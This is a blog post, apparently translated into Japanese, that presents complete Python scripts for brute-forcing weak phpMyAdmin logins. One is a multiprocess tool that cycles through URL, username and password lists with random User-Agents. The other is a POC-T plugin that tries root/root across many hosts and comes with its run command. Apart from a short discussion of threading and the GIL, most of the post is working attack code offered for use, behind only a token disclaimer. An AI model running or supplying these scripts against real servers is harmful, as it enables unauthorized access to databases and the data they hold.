banner
肥皂的小屋

肥皂的小屋

github
steam
bilibili
douban
tg_channel

pythonのマルチプロセス&マルチスレッドによるphpmyadminの弱いパスワードのブルートフォース攻撃

事の発端#

このコードはテスト用です。読者が使用することによって生じた結果については一切責任を負いません!

test404 さんのサイトも閉じてしまい、彼の phpMyAdmin マルチスレッドバッチブルートフォースツールは最終更新がv2.3でした。

しかし、あまり使い勝手が良くありませんでした:

image

ネットで見つけたコードもあまり使えなかったので、自分で書くことにしました。

一部の説明#

検証の核心コード#

私はネットで多くの記事を探しましたが、核心部分は送信されたアカウントとパスワードのリクエストがログイン後のページに独自のキーワードを検証することでした。

例えば、bypassさんが以前書いたスクリプトはlogin_formフィールドを検出していました:

image

pma_passwordフィールドを検出するものもありました:

image

さらにはphpMyAdmin is more friendly with aを検出するものもあり、これは正しいパスワードと不正なパスワードの画面では検出できませんでした:

image

見て回るうちに、体験ボックスのこの記事が信頼できそうに見えました(その後、あまり信頼できませんでしたが)。

核心の実装方法は、requestsを使用してsession()メソッドでセッションを保持し、セッションのidと今回のtokenを取得することです。

その後、アカウントとパスワードを加えてpostし、送信中に id と token が変わらないようにします。

コマンドライン引数の設定#

機能的なスクリプトを書く際に引数を追加するのは初めてでしたが、この引数はあってもなくても良いものでした。

辞書をマウントするための-pオプションを追加しました。コマンドライン引数の設定には一般的に 3 つの有名な方法があります。

  1. sys.argv + getopt

実際には単純な文字列分離で、技術的な内容は全くありません:

image

  1. argparse

多くの人に推奨されており、私も使ってみてとても使いやすかったです。

image

推奨記事

  1. click

Click は Flask のチーム pallets が開発した優れたオープンソースプロジェクトで、コマンドラインツールの開発のために多くのメソッドをラップしており、開発者は機能の実装に集中するだけで済みます。これはコマンドラインのために生まれた非常に有名な Python コマンドラインモジュールです。

image

デコレーターを使用しているため、少し不安になり、使用しませんでした。

マルチスレッド / マルチプロセスについて#

廖雪峰によるマルチスレッドが CPU を効果的に使用できない説明

Python のスレッドは本物のスレッドですが、インタプリタがコードを実行する際に GIL ロック(Global Interpreter Lock)が存在します。すべての Python スレッドは実行前に GIL ロックを取得する必要があり、100 バイトコードを実行するごとにインタプリタは自動的に GIL ロックを解放し、他のスレッドに実行の機会を与えます。この GIL グローバルロックは実際にはすべてのスレッドの実行コードをロックしてしまうため、Python ではマルチスレッドは交互に実行されるだけで、100 個のスレッドが 100 コアの CPU で動作しても、1 つのコアしか使用できません。

GIL は Python インタプリタ設計の歴史的な遺産であり、通常私たちが使用するインタプリタは公式実装の CPython です。真にマルチコアを利用するためには、GIL なしのインタプリタを再実装しなければなりません。

したがって、Python ではマルチスレッドを使用できますが、マルチコアを効果的に利用できるとは期待しないでください。どうしてもマルチスレッドでマルチコアを利用したい場合は、C 拡張を通じて実現する必要がありますが、そうすると Python のシンプルで使いやすい特徴を失ってしまいます。

しかし、あまり心配する必要はありません。Python はマルチスレッドでマルチコアタスクを実現できませんが、マルチプロセスでマルチコアタスクを実現できます。複数の Python プロセスはそれぞれ独立した GIL ロックを持ち、互いに影響を与えません。

簡単に言えば、Python がマルチコアを利用するにはマルチプロセスを使用するしかありません。

このマルチスレッドとマルチプロセスの比較に関する記事:Python におけるシングルスレッド、マルチスレッドとマルチプロセスの効率比較実験からは次の結論が得られます:

CPU 集中的な操作ではマルチスレッドはシングルスレッドの線形実行性能よりも明らかに劣りますが、ネットワークリクエストのような忙しい待機ブロッキングスレッドの操作では、マルチスレッドの利点が非常に顕著になります。
マルチプロセスは CPU 集中的な操作でも IO 集中的な操作でもネットワークリクエスト集中的な操作(スレッドブロッキングが頻繁に発生する操作)でも性能の優位性を示します。ただし、ネットワークリクエスト集中的な操作ではマルチスレッドとほとんど差がありませんが、CPU などのリソースをより多く消費します。そのため、このような場合にはマルチスレッドを選択して実行することができます。

私の実装プロセスでは、次のように言えます:

マルチスレッドとマルチプロセスの効率はほぼ同じですが、マルチプロセスは CPU リソースの消費が非常に目立ちます。

マルチプロセス全コード#

ここでは、マルチプロセス版のpython phpmyadminブルートフォーススクリプトを先に書きました。全コードは以下の通りです:

#!/usr/bin/env/python
# -*- coding: utf-8 -*-
'''
@author: soapffz
@function: マルチプロセスでphpmyadminのパスワードをブルートフォース(辞書のマウントをサポート)
@time: 2019-12-28
'''

import requests
import os
from multiprocessing.pool import Pool
import time
import sys
import argparse
from fake_useragent import UserAgent
import re
import timeit


class multi_phpmyadmin_verification:
    def __init__(self):
        args = self.argparse(sys.argv[1:])
        if not args.p:
            self.passwd_l = open("password.txt").read().splitlines()
        elif not os.path.exists(args.p) or not os.path.isfile(args.p):
            print("パスが存在しません、終了します")
            exit(0)
        else:
            self.passwd_l = args.p
        os.chdir(os.path.dirname(os.path.abspath(__file__)))
        self.urls_l = open("url.txt").read().splitlines()
        self.username_l = open("username.txt").read().splitlines()
        self.multi_thread()

    def argparse(self, argv):
        # パラメータの解析
        parser = argparse.ArgumentParser()  # パースオブジェクトを作成
        parser.add_argument(
            "-p", type=str, metavar="dic_path", help="辞書のパス")
        return parser.parse_args(argv)

    def multi_thread(self):
        ua = UserAgent()  # User-Agentを生成するために使用
        self.headers = {"User-Agent": ua.random}  # ランダムなUser-Agentを取得
        pool = Pool()
        for url in self.urls_l:
            for username in self.username_l:
                for passwd in self.passwd_l:
                    pool.apply_async(self.verify, args=(
                        url, username, passwd,))
        pool.close()
        pool.join()

    def verify(self, url, username, passwd):
        time.sleep(0.01)
        print("\r 現在のurl:{}、現在のユーザー名:{}、現在のパスワード:{}".format(
            url, username, passwd), end="")
        # \rパラメータを使用して現在の行の出力を更新
        session = requests.session()
        r1 = session.get(url)
        if r1.status_code != 200:
            return
        session_id = re.findall(r'phpMyAdmin=(.*?);', r1.headers['Set-Cookie'])
        token = list(re.compile(
            r'name=\"token\" value=\"(.*?)\"').findall(r1.text))[0]
        payload = {"set_session": session_id, "pma_username": username,
                   "pma_password": passwd, "server": "1", "target": "index.php", "token": token}
        r2 = session.post(url, data=payload,
                          allow_redirects=False, headers=self.headers)
        if r2.status_code == 302:
            print("\n 成功しました!!!url:{},username:{},password:{}".format(
                url, username, passwd))


if __name__ == "__main__":
    start_time = timeit.default_timer()
    multi_phpmyadmin_verification()
    end_time = timeit.default_timer()
    print("\n プログラムの実行が終了しました。総時間:{}".format(end_time-start_time))

使用方法:

  • コードと同じディレクトリにurl.txtusername.txtpassword.txtを作成し、それぞれ必要なブルートフォースのurl、ユーザー名、パスワードを対応して書き込みます。
  • それぞれpip installこれらのライブラリ:
requests
multiprocessing
argparse
fake_useragent
timeit
  • python phpmyadmin.pyでコードを実行できます。-p引数を追加し、その後に辞書のパスを指定できます。

実行結果は以下の通りです:

image

cpu使用率が目立ちます:

image

プロセスプールはあなたのcpuの数に基づいて自動的に設定されます。もし占有率が高すぎると思ったら、手動でpool = Pool()の行の括弧内に希望の数値を入力してください。最大はあなたのcpuコア数までで、少し減らすとcpuを占有しなくなります。

マルチスレッド版#

[2020-02-12 更新]

POC-Tフレームワークを使用してマルチスレッドを管理できます。具体的にはgithubを参照してください。

以下のコードをphpmyadmin-weakpass.pyとして保存し、POC-Tscriptフォルダ内に置いてください:

# -*- coding: utf-8 -*-
import requests
import re


def poc(url_dict):
    try:
        session = requests.session()
        req = session.get(url_dict)
        if req.status_code == 200:
            session_id = re.findall(
                r'phpMyAdmin=(.*?);', req.headers['Set-Cookie'])
            token = list(re.compile(
                r'name=\"token\" value=\"(.*?)\"').findall(req.text))[0]
            headers = {"Upgrade-Insecure-Requests": "1",
                       "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 Edg/80.0.361.50", "Connection": "close"}
            paramsPost = {"set_session": session_id, "pma_username": "root",
                          "pma_password": "root", "server": "1", "target": "index.php", "token": token}
            r2 = session.post(url_dict, data=paramsPost,
                              allow_redirects=False, headers=headers)
            if r2.status_code == 302:
                return url_dict
    except:
        return False

使用方法:

python POC-T.py -s phpmyadmin-weakpass -t 100 -iF urls.txt -o first.txt

結果は以下の通りです:

image

読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。